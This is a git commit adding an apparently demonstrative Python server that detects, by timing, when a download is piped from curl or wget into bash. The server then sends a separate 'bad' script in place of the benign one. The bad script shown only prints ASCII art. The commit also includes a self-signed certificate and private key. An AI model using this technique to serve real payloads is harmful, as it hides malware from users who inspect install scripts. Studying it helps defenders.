commit ff9618d1d710e1f647ddb3cc88da4529532b7c72 Author: moparisthebest Date: Mon Jan 28 00:03:22 2019 -0500 Add original python impl diff --git a/py/bad.sh b/py/bad.sh new file mode 100644 index 0000000..344b9d7 --- /dev/null +++ b/py/bad.sh @@ -0,0 +1,15 @@ +echo " ▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄" +echo " █░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░▀▀▄" +echo " █░░░▒▒▒▒▒▒░░░░░░░░▒▒▒░░█" +echo " █░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█" +echo " ▄▀▒▄▄▄▒░█▀▀▀▀▄▄█░░░██▄▄█░░░░█" +echo "█░▒█▒▄░▀▄▄▄▀░░░░░░░░█░░░▒▒▒▒▒░█" +echo "█░▒█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄▒█" +echo " █░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█" +echo " █░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█" +echo " █░░░░██░░▀█▄▄▄█▄▄█▄████░█" +echo " █░░░░▀▀▄░█░░░█░█▀██████░█" +echo " ▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█" +echo " ▀▄▄░▒▒▒▒░░░░░░░░░░▒░░░█" +echo " ▀▀▄▄░▒▒▒▒▒▒▒▒▒▒░░░░█" +echo " ▀▄▄▄▄▄░░░░░░░░█" diff --git a/py/cert.pem b/py/cert.pem new file mode 100644 index 0000000..c3b33b2 --- /dev/null +++ b/py/cert.pem @@ -0,0 +1,22 @@ +-----BEGIN CERTIFICATE----- +MIIDuzCCAqOgAwIBAgIJAPHU0Wroi0Q1MA0GCSqGSIb3DQEBCwUAMHQxCzAJBgNV +BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX +aWRnaXRzIFB0eSBMdGQxDzANBgNVBAMMBnhxaS5jYzEcMBoGCSqGSIb3DQEJARYN +YmxhaEBibGFoLmNvbTAeFw0xNjAzMDYwNTA1MzJaFw0xNzAzMDYwNTA1MzJaMHQx +CzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl +cm5ldCBXaWRnaXRzIFB0eSBMdGQxDzANBgNVBAMMBnhxaS5jYzEcMBoGCSqGSIb3 +DQEJARYNYmxhaEBibGFoLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC +ggEBANlG+tGREqYw3zQ9TjwlQlvy63Zqsy0NeKMw86rTzIUAx4CU00SZsUEIcbIL +Uit+FUnKXlGK7z+W/xYpcNf+/EKiboU6I+6NyxosMhkpK6rmn0kfdPp3Bjv1YbJA +6Npir7ZlJwl2++leQLXiiRmm7aji/LdBXu6VeeJK23k7oLd+IhCd9r52ukluiGIm +7gz4VGD3GKP/j/XvZhE7MSGNmos7yRUp1becNiVS4wU0TvmpKwQ/amYbAJczWpuJ +2kmM37ABkFlGgkjr7tw8gmySw+XFFDGzFsxlPlwspnP98npKmlImoqcJdzOykfVF +NFCku+doe1UIfOfcQzklCpEVEZECAwEAAaNQME4wHQYDVR0OBBYEFED3SH0Jj0sS +YKEHWdrMmOYfe/7XMB8GA1UdIwQYMBaAFED3SH0Jj0sSYKEHWdrMmOYfe/7XMAwG +A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBACTMObv6BjOCcl8hl/ulo/fR +wD+nI320dU1kj/BupR5iC6rM6umNZVy6px6JKUzp9XpYgfypgJY/N0c8JKNY58BV +Y0x7TkdG9pWrccQsdtTQRI1R52oXM7paHWeQ9HAyThfBleh4aeR8AmAIcLQpfrXw +XO6NGwPs3T9HEu5vqQEZlSrbomebpEDKCAmTDYh+uT++T/h72cNqnTtUOHZO2F73 +Jinr5ETgGBKucq8U598y3OSWF+eMA1JoMiecep052B9Sr7PhC8Pyg1dI+iFoT0Vl +PAR51WIJnt+BwZY9rY1Q9yZIp9G/Hu2w2SSmCUmvn9xoMvHAFpBGmUqOIj4JpzA= +-----END CERTIFICATE----- diff --git a/py/good.sh b/py/good.sh new file mode 100644 index 0000000..3c42007 --- /dev/null +++ b/py/good.sh @@ -0,0 +1,2 @@ +echo "Hello there :)" + diff --git a/py/key.pem b/py/key.pem new file mode 100644 index 0000000..830dfa8 --- /dev/null +++ b/py/key.pem @@ -0,0 +1,29 @@ +-----BEGIN PRIVATE KEY----- +MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDZRvrRkRKmMN80 +PU48JUJb8ut2arMtDXijMPOq08yFAMeAlNNEmbFBCHGyC1IrfhVJyl5Riu8/lv8W +KXDX/vxCom6FOiPujcsaLDIZKSuq5p9JH3T6dwY79WGyQOjaYq+2ZScJdvvpXkC1 +4okZpu2o4vy3QV7ulXniStt5O6C3fiIQnfa+drpJbohiJu4M+FRg9xij/4/172YR +OzEhjZqLO8kVKdW3nDYlUuMFNE75qSsEP2pmGwCXM1qbidpJjN+wAZBZRoJI6+7c +PIJsksPlxRQxsxbMZT5cLKZz/fJ6SppSJqKnCXczspH1RTRQpLvnaHtVCHzn3EM5 +JQqRFRGRAgMBAAECggEAB52GQvwbtDl4SUNwz4jax5A/Enpw5z5WoRmhILalr2+0 +jlwo/3mHjej22y+sZJvZsSlnnuIIuqjXLfar3tYwD0HUL9U21zCfEr7Dzr/zqNzG +bnCsz+6GCGn0T6QYxTa6Q+FNufYypB5KlFVpSr3gDJBQHTgsVJ5mlDjdcmVVn7i6 +c2ZExeynTLmV3WDTKKHyl2LKQfs47NlcdqSdwMwAHWDcjK68IqAK9nHPIBfWQp8f +l3SBB/598DT9C5x8WqItV3JPnWK/O5qbEcaKDIz0KMJkDiUo9rXbjnW6taFWgZXG +CiYJdSFzFLO1O2iv9ypkeLuqu3fabuY8PPkoZn+axQKBgQD9pTXeSo7eMPbpODXI +gTN9hvZfwl1jm5NosjJyghUYEqAlzylQ+iHLbnwmErhuBzi8tHGfMKR+eEZ1p8VH +ha2fvm+9c8UU3CoG26gOBCLXflW7rVnWCTCvA+GfIhGwufbQjEIbvAQxbtiUaJnc +scOqqbPSTb+BMqSGIlDhThbQBwKBgQDbS1ciy8q/E5OHpulllB2jxTsM1Bg1e9+w +P1+hmZdkHVVSMFldPy+RjkvrbsEpOg8ABgN1VkhDoY13G38IVM8XpAoSO9a6ntD9 +BhWk/XH2Plwyc/EJDVbbUXZ5oJnhWxmKs360tIgzzwRZQnPo96opvvjQzQsHNvtt +0z7/88B7pwKBgHCBMESaE4awd0R4/zohPMKH844D+0JsRlUg/UlXM54K3OgIXE4j +tIu0RPLqSM3c/CiPbPpsK/pAxRf4w4N24s1BPfTtfdRD14xVL9SPtxiYW9S0Dm3m +g6aNdS0NgoU95yEXpVcB7WYzwXMKdnyyiJSRU0aL386htOIeJHvbFDlPAoGBANeu +NOhTOXhOv7YWcs1mLPSrAhXu8FSCHhJRcjQVRPHBa+4nAW2VvKpTItZOmwp6QNCM +GZCpKO/jj6hK0dkW2Ivu2bzvP5VSqEeDWXxpjVFcKf+xSqrVhMy2RWkAjPg5SljB +i2gdeyxBeoxzsF68X48pdbyfPi59ZDKzJu5EBddXAoGBANMDjEQrg/6o62IEvou7 +I4HN8rYLCc8hXiKe4LZwcGfagL3mYqyOhJqg7v9tIW1nyfPQuqFfkS968ux8smdZ +ylgP1Ep3UG81AqUU59QX7HB3ZoIvV2Z/I2Kfasl4SxDEgghkpTAaKlStZ4Ap31rx +qSFynWTvy17R0UDpoCSqCkdm +-----END PRIVATE KEY----- + diff --git a/py/mogui.py b/py/mogui.py new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/py/mogui.py @@ -0,0 +1,208 @@ +"""This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + A script to detect the use of curl or wget -O - | bash. + + See https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ + for more details on how this works. + + @author Phil +""" + +from numpy import std +import re +import SocketServer +import socket +import ssl +import time + +class MoguiServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): + """HTTP server to detect curl | bash""" + + daemon_threads = True + allow_reuse_address = True + payloads = {} + ssl_options = None + + def __init__(self, server_address): + """Accepts a tuple of (HOST, PORT)""" + + # Socket timeout + self.socket_timeout = 10 + + # Outbound tcp socket buffer size + self.buffer_size = 87380 + + # What to fill the tcp buffers with + self.padding = chr(0) * (self.buffer_size) + + # Maximum number of blocks of padding - this + # shouldn't need to be adjusted but may need to be increased + # if its not working. + self.max_padding = 16 + + # HTTP 200 status code + self.packet_200 = ("HTTP/1.1 200 OK\r\n" + \ + "Server: Apache\r\n" + \ + "Date: %s\r\n" + \ + "Content-Type: text/plain; charset=us-ascii\r\n" + \ + "Transfer-Encoding: chunked\r\n" + \ + "Connection: keep-alive\r\n\r\n") % time.ctime(time.time()) + + SocketServer.TCPServer.__init__(self, server_address, HTTPHandler) + + def setssl(self, cert_file, key_file): + """Sets SSL params for the server sockets""" + + self.ssl_options = (cert_file, key_file) + + def setscript(self, uri, params): + """Sets parameters for each URI""" + + (null, good, bad, min_jump, max_variance) = params + + null = open(null, "r").read() # Base file with a delay + good = open(good, "r").read() # Non malicious payload + bad = open(bad, "r").read() # Malicious payload + + self.payloads[uri] = (null, good, bad, min_jump, max_variance) + + + +class HTTPHandler(SocketServer.BaseRequestHandler): + """Socket handler for MoguiServer""" + + def sendchunk(self, text): + """Sends a single HTTP chunk""" + + self.request.sendall("%s\r\n" % hex(len(text))[2:]) + self.request.sendall(text) + self.request.sendall("\r\n") + + def log(self, msg): + """Writes output to stdout""" + + print "[%s] %s %s" % (time.time(), self.client_address[0], msg) + + def handle(self): + """Handles inbound TCP connections from MoguiServer""" + + # If the two packets are transmitted with a difference in time + # of min_jump and the remaining packets have a time difference with + # a variance of less then min_var the output has been piped + # via bash. + + self.log("Inbound request") + + # Setup socket options + + self.request.settimeout(self.server.socket_timeout) + self.request.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + self.request.setsockopt(socket.SOL_SOCKET, + socket.SO_SNDBUF, + self.server.buffer_size) + + # Attempt to wrap the TCP socket in SSL + + try: + if self.server.ssl_options: + self.request = ssl.wrap_socket(self.request, + certfile=self.server.ssl_options[0], + keyfile=self.server.ssl_options[1], + server_side=True) + except ssl.SSLError: + self.log("SSL negotiation failed") + return + + # Parse the HTTP request + + data = None + + try: + data = self.request.recv(1024) + except socket.error: + self.log("No data received") + return + + uri = re.search("^GET ([^ ]+) HTTP/1.[0-9]", data) + + if not uri: + self.log("HTTP request malformed.") + return + + request_uri = uri.group(1) + self.log("Request for shell script %s" % request_uri) + + if request_uri not in self.server.payloads: + self.log("No payload found for %s" % request_uri) + return + + # Return 200 status code + + self.request.sendall(self.server.packet_200) + + (payload_plain, payload_good, payload_bad, min_jump, max_var) = self.server.payloads[request_uri] + + # Send plain payload + + self.sendchunk(payload_plain) + + if not re.search("User-Agent: (curl|Wget)", data): + self.sendchunk(payload_good) + self.sendchunk("") + self.log("Request not via wget/curl. Returning good payload.") + return + + timing = [] + stime = time.time() + + for i in range(0, self.server.max_padding): + self.sendchunk(self.server.padding) + timing.append(time.time() - stime) + + # ReLU curve analysis + + max_array = [timing[i+1] - timing[i] for i in range(len(timing)-1)] + + jump = max(max_array) + + del max_array[max_array.index(jump)] + + var = std(max_array) ** 2 + + self.log("Variance = %s, Maximum Jump = %s" % (var, jump)) + + # Payload choice + + if var < max_var and jump > min_jump: + self.log("Execution through bash detected - sending bad payload :D") + self.sendchunk(payload_bad) + else: + self.log("Sending good payload :(") + self.sendchunk(payload_good) + + self.sendchunk("") + self.log("Connection closed.") + + + +if __name__ == "__main__": + + HOST, PORT = "0.0.0.0", 5555 + + SERVER = MoguiServer((HOST, PORT)) + SERVER.setscript("/setup.bash", ("ticker.sh", "good.sh", "bad.sh", 2.0, 0.1)) + SERVER.setssl("cert.pem", "key.pem") + + print "Listening on %s %s" % (HOST, PORT) + SERVER.serve_forever() diff --git a/py/ticker.sh b/py/ticker.sh new file mode 100644 index 0000000..b4f239f --- /dev/null +++ b/py/ticker.sh @@ -0,0 +1 @@ +sleep 3